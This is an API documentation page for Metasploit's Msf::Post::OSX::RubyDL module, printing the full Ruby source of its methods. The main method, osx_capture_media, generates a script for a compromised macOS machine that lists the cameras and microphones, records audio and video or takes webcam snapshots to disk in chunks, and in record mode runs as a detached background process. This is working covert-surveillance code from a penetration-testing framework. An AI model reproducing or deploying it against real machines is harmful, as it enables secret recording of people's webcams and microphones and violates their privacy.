Module: Msf::Post::OSX::RubyDL

Defined in:
lib/msf/core/post/osx/ruby_dl.rb

Instance Method Summary collapse

Instance Method Details

#osx_capture_media(opts) ⇒ Object


46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
# File 'lib/msf/core/post/osx/ruby_dl.rb', line 46

def osx_capture_media(opts)
  capture_code = "\#{osx_ruby_dl_header}\n\noptions = {\n:action => '\#{opts[:action]}', # or list|snapshot|record\n:snap_filetype => '\#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp\n:audio_enabled => \#{opts[:audio_enabled]},\n:video_enabled => \#{opts[:video_enabled]},\n:num_chunks => \#{opts[:num_chunks]}, # wachawa!\n:chunk_len => \#{opts[:chunk_len]}, # save chunks every 5 seconds\n:video_device => \#{opts[:video_device]}, # automatic\n:audio_device => \#{opts[:audio_device]},\n:snap_jpg_compression => \#{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY\n:video_compression => '\#{opts[:video_compression]}',\n:audio_compression => '\#{opts[:audio_compression]}',\n:record_file => '\#{opts[:record_file]}',\n:snap_file => '\#{opts[:snap_file]}'\n}\n\nRUN_LOOP_STEP = 0.1 # \"tick\" duration for spinning NSRunLoop\n\n# NSTIFFFileType  0\n# NSBMPFileType   1\n# NSGIFFileType   2\n# NSJPEGFileType  3\n# NSPNGFileType   4\nSNAP_FILETYPES = %w(tiff bmp gif jpg png)\n\nsnap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)\n\nrequire 'fileutils'\nFileUtils.mkdir_p File.dirname(options[:record_file])\nFileUtils.mkdir_p File.dirname(options[:snap_file])\n\n#### Helper methods for objc message passing\n\nif not ruby_1_9_or_higher?\n# ruby < 1.9 freaks when you send int -> void* or flout -> void*\n#  so we have to reload the lib into separate modules with different\n#  exported typedefs, and patch objc_call to do our own typechecking.\n# this can probably be done better.\nmodule LibCWithInt\nextend Importer\ndlload 'libSystem.B.dylib'\nextern 'void *sel_getUid(void*)'\nextern 'void *objc_msgSend(void *, void *, int, int)'\nend\nmodule LibCWithFloat\nextend Importer\ndlload 'libSystem.B.dylib'\nextern 'void *sel_getUid(void*)'\nextern 'void *objc_msgSend(void *, void *, double, double)'\nend\nmodule LibCWithVoidPtrInt\nextend Importer\ndlload 'libSystem.B.dylib'\nextern 'void *sel_getUid(void*)'\nextern 'void *objc_msgSend(void *, void *, void*, int)'\nend\nmodule LibCWithIntVoidPtr\nextend Importer\ndlload 'libSystem.B.dylib'\nextern 'void *sel_getUid(void*)'\nextern 'void *objc_msgSend(void *, void *, int, void*)'\nend\nend\n\n\ndef objc_call(instance, method, arg=nil, arg2=nil)\n# ruby < 1.9 freaks when you send int -> void* or flout -> void*\n# so we have to reload the lib into a separate with different exported typedefs,\n#  and call\nif not ruby_1_9_or_higher? and arg.kind_of?(Integer)\nif not arg2.kind_of?(Integer) and not arg2.nil?\nLibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)\nelse\nLibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)\nend\nelsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)\nLibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)\nelsif not ruby_1_9_or_higher? and arg.kind_of?(Float)\nLibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)\nelse\nQTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)\nend\nend\n\ndef objc_call_class(klass, method, arg=nil, arg2=nil)\nobjc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)\nend\n\ndef nsstring(str)\nobjc_call(objc_call(objc_call_class(\n'NSString', 'alloc'),\n'initWithCString:', str),\n'autorelease')\nend\n\n\n#### External dynamically linked code\n\nVID_TYPE = 'vide'\nMUX_TYPE = 'muxx'\nAUD_TYPE = 'soun'\n\nmodule QTKit\nextend Importer\ndlload 'QTKit.framework/QTKit'\nextern 'void *objc_msgSend(void *, void *, void *, void*)'\nextern 'void *sel_getUid(void*)'\nextern 'void *objc_getClass(void *)'\nend\n\n#### Actual Webcam code\nautorelease_pool = objc_call_class('NSAutoreleasePool', 'new')\n\nvid_type = nsstring(VID_TYPE)\nmux_type = nsstring(MUX_TYPE)\naud_type = nsstring(AUD_TYPE)\n\ndevices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')\ndevice_count = objc_call(devices_ref, 'count').to_i\nif device_count.zero? and not options[:actions] =~ /list/i\nraise \"Invalid device. Check devices with `set ACTION LIST`. Exiting.\"\nexit\nend\n\ndevice_enum = objc_call(devices_ref, 'objectEnumerator')\ndevices = (0...device_count).\nmap { objc_call(device_enum, 'nextObject') }.\nselect do |device|\nvid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0\nmux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0\nvid or mux\nend\n\ndevice_enum = objc_call(devices_ref, 'objectEnumerator')\naudio_devices = (0...device_count).\nmap { objc_call(device_enum, 'nextObject') }.\nselect { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }\n\ndef device_names(devices)\ndevices.\nmap { |device| objc_call(device, 'localizedDisplayName') }.\nmap { |name| objc_call(name, 'UTF8String') }.\nmap(&:to_s)\nend\n\ndef device_stati(devices)\ndevices.\nmap { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.\nmap { |b| if b then 'BUSY' else 'AVAIL' end }\nend\n\ndef print_devices(devices)\ndevice_names(devices).zip(device_stati(devices)).each_with_index do |d, i|\nputs \"\\\#{i}.  \\\#{d[0]} [\\\#{d[1]}]\"\nend\nend\n\ndef print_compressions(type)\ncompressions = objc_call_class('QTCompressionOptions',\n'compressionOptionsIdentifiersForMediaType:', type)\ncount = objc_call(compressions, 'count').to_i\nif count.zero?\nputs \"No supported compression types found.\"\nelse\ncomp_enum = objc_call(compressions, 'objectEnumerator')\nputs((0...count).\nmap { objc_call(comp_enum, 'nextObject') }.\nmap { |c| objc_call(c, 'UTF8String').to_s }.\njoin(\"\\n\")\n)\nend\nend\n\ndef use_audio?(options)\noptions[:audio_enabled] and options[:action].to_s == 'record'\nend\n\ndef use_video?(options)\n(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'\nend\n\nif options[:action].to_s == 'list'\nif options[:video_enabled]\nputs \"===============\\nVideo Devices:\\n===============\\n\"\nprint_devices(devices)\nputs \"\\nAvailable video compression types:\\n\\n\"\nprint_compressions(vid_type)\nend\nputs \"\\n===============\\nAudio Devices:\\n===============\\n\"\nprint_devices(audio_devices)\nputs \"\\nAvailable audio compression types:\\n\\n\"\nprint_compressions(aud_type)\nexit\nend\n\n# Create a session to add I/O to\nsession = objc_call_class('QTCaptureSession', 'new')\n\n# open the AV devices\nif use_video?(options)\nvideo_device = devices[options[:video_device]]\nif not objc_call(video_device, 'open:', nil).to_i > 0\nraise 'Failed to open video device'\nend\ninput = objc_call_class('QTCaptureDeviceInput', 'alloc')\ninput = objc_call(input, 'initWithDevice:', video_device)\nobjc_call(session, 'addInput:error:', input, nil)\nend\n\nif use_audio?(options)\n# open the audio device\naudio_device = audio_devices[options[:audio_device]]\nif not objc_call(audio_device, 'open:', nil).to_i > 0\nraise 'Failed to open audio device'\nend\ninput = objc_call_class('QTCaptureDeviceInput', 'alloc')\ninput = objc_call(input, 'initWithDevice:', audio_device)\nobjc_call(session, 'addInput:error:', input, nil)\nend\n\n# initialize file output\nrecord_file = options[:record_file]\noutput = objc_call_class('QTCaptureMovieFileOutput', 'new')\nfile_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))\nobjc_call(output, 'recordToOutputFileURL:', file_url)\nobjc_call(session, 'addOutput:error:', output, nil)\n\n# set up video/audio compression options\nconnection = nil\nconnection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')\n\nwhile (connection = objc_call(connection_enum, 'nextObject')).to_i > 0\nmedia_type = objc_call(connection, 'mediaType')\n\ncompress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||\nobjc_call(media_type, 'isEqualToString:', mux_type).to_i > 0\nobjc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',\nnsstring(options[:video_compression]))\nelsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0\nobjc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',\nnsstring(options[:audio_compression]))\nend\n\nunless compress_opts.to_i.zero?\nobjc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)\nend\nend\n\n# start capturing from the webcam\nobjc_call(session, 'startRunning')\n\n# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.\nrun_loop = objc_call_class('NSRunLoop', 'currentRunLoop')\n\n# wait until at least one frame has been captured\nwhile objc_call(output, 'recordedFileSize').to_i < 1\ntime = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')\nobjc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))\nend\n\nif options[:action] == 'record' # record in a loop for options[:record_len] seconds\ncurr_chunk = 0\nlast_roll = Time.now\n# wait until at least one frame has been captured\nwhile curr_chunk < options[:num_chunks]\ntime = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')\nobjc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))\n\nif Time.now - last_roll > options[:chunk_len].to_i # roll that movie file\nbase = File.basename(record_file, '.*') # returns it with no extension\nnum = ((base.match(/\\\\d+$/)||['0'])[0].to_i+1).to_s\next = File.extname(record_file) || 'o'\nrecord_file = File.join(File.dirname(record_file), base+num+'.'+ext)\n\n# redirect buffer output to new file path\nfile_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))\nobjc_call(output, 'recordToOutputFileURL:', file_url)\n# remember we hit a chunk\nlast_roll = Time.now\ncurr_chunk += 1\nend\nend\nend\n\n# stop recording and stop session\nobjc_call(output, 'recordToOutputFileURL:', nil)\nobjc_call(session, 'stopRunning')\n\n# give QTKit some time to write to file\nobjc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))\n\nif options[:action] == 'snapshot' # user wants a snapshot\n# read captured movie file into QTKit\ndict = objc_call_class('NSMutableDictionary', 'dictionary')\nobjc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))\n# grab a frame image from the move\nm = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)\nimg = objc_call(m, 'currentFrameImage')\n# set compression options\nopts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',\nobjc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),\nnsstring('NSImageCompressionFactor')\n)\n# convert to desired format\nbitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)\ndata = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)\nobjc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)\n\nobjc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))\n\n# # delete the original movie file\nFile.delete(options[:record_file])\nend\n\nobjc_call(autorelease_pool, 'drain')\n\n"
  if opts[:action] == 'record'
    capture_code = %Q|
      cpid = fork do
        #{capture_code}
      end
      Process.detach(cpid)
      puts cpid
|
  end
  capture_code
end

#osx_ruby_dl_headerObject


5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# File 'lib/msf/core/post/osx/ruby_dl.rb', line 5

def osx_ruby_dl_header
  "require 'dl'\nrequire 'dl/import'\n\n#### Patches to DL (for compatibility between 1.8->1.9)\n\nImporter = if defined?(DL::Importer) then DL::Importer else DL::Importable end\n\ndef ruby_1_9_or_higher?\nRUBY_VERSION.to_f >= 1.9\nend\n\ndef malloc(size)\nif defined?(DL::CPtr)\nDL::CPtr.malloc(size)\nelse\nDL::malloc(size)\nend\nend\n\n# the old Ruby Importer defaults methods to downcase every import\n# This is annoying, so we'll patch with method_missing\nif not ruby_1_9_or_higher?\nmodule DL\nmodule Importable\ndef method_missing(meth, *args, &block)\nstr = meth.to_s\nlower = str[0,1].downcase + str[1..-1]\nif self.respond_to? lower\nself.send lower, *args\nelse\nsuper\nend\nend\nend\nend\nend\n"
end